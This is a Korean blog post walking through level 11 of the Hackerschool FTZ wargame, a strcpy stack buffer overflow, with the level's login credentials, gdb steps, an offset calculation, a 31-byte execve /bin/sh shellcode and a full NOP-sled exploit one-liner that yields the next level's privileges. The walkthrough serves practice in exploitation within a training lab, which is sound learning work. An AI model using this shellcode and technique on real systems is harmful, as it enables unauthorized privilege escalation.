티스토리 뷰

System/BOF

Hackerschool Level11

07VH 2012. 8. 27. 20:50

putty를 이용하여 ftz.hackerschool.org(Telnet 이용)으로 들어간다.

들어가게 되면 로그인을 요구하게 되는데

아이디는 level11, 패스워드는 what!@#$? 으로 접속한다.

접속한 다음 ls를 쳐서 검색해보면 다음과 같다.

보면 attackme, hint 이외 것들이 있지만 우리가 주목해야 할 것은 attackme와 hint다.

./attackme로 파일을 실행시켜보지만 세그멘테이션 오류라는 말만 뜰 뿐이고...

따라서 cat을 이용하여 hint를 보도록 하자.(우리에게 권한이 읽는 권한 밖에 없으므로)

보게 되면 다음과 같다.

hint의 내용을 보면 strcpy를 이용하여 argv[1] 의 값을 복사하고 있고, printf 함수로 출력해주고 있다. 메모리를 체크하지 않고 넣어주는 strcpy라는 취약점에 의해 버퍼오버플로우를 실행할 수 있는 것이다. 이것을 이용하여 level12의 권한을 따 보자.

일단 gdb를 이용하여 attackme라는 파일을 뜯어보자.

gdb -q attackme를 치고, gdb에서 disas main을 이용하여 내용을 뜯어본다.

여기서 보면 main+48부분에서 strcpy를 호출하여 이용된다는 것을 알 수 있다. 따라서 나는 strcpy가 호출이 된 윗 부분, 즉 main+53에 breaking point를 걸고 AAAA를 그 주소에 넣고 잘 들어가 있는지 확인해 보도록 하자.

이를 보았을 때, esp의 메모리를 hexa의 형식으로 범위 8로 뜯어보면 main+53 부분이 0xbffffa20와 연결이 되어 있음을 알 수 있다.(AAAA = 41414141) AAAA 값이 잘 들어가 있는 것을 확인 했으므로 이제 다른 것들의 주소 정보를 알아보면 다음과 같다.

보면 esp 주소는 0xbffffa10, ebp 주소는 0xbffffb28임을 알 수 있다.

따라서 이 정보를 통해 ebp와 esp를 알 수 있고, 이것을 통해 메모리 양을 알 수 있는데, 그 값은 (ebp+4) - 0xbffffa20(메모리가 들어가기 시작한 부분)을 빼면 알 수 있다. 즉, 0xbffffb2c - 0xbffffa20 = 10c 메모리 양이 268byte라는 것을 알 수 있다.

따라서 우리는 shell code + 쓰레기값 = 268 byte가 되어야 한다는 말이다.

shell code는 인터넷에서 쉽게 구할 수 있기 때문에 그것을 가져다 쓰도록 한다.

shell code는 31 byte인 아래 것을 사용하도록 하겠다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1

\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

이것을 이용하여 코드를 짜 보면 다음과 같다.

./attackme `python -c 'print "\x90"*237+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50

\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"+"\x28\xfb\xff

\xbf"'`

세그멘테이션 오류... 이것은 중간에 더미 값이 있기 때문에 nop값을 중간에 많이 넣어서 생각해서 중간 정도. 그러니까 현재 ebp 주소 값이 0xbffffb28이므로 0xbffffb28 ~ 0xbffffb68정도 까지 해보자.

이제 다음 레벨인 level12로 넘어갈 수 있게 되었다.

다음 번엔 level12를 풀어 보도록 하자.

'System > BOF' 카테고리의 다른 글

리눅스 기초 명령어  (0) 2012.09.07
BOF Foundation  (0) 2012.08.30
EGG Shell.c  (0) 2012.08.29
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함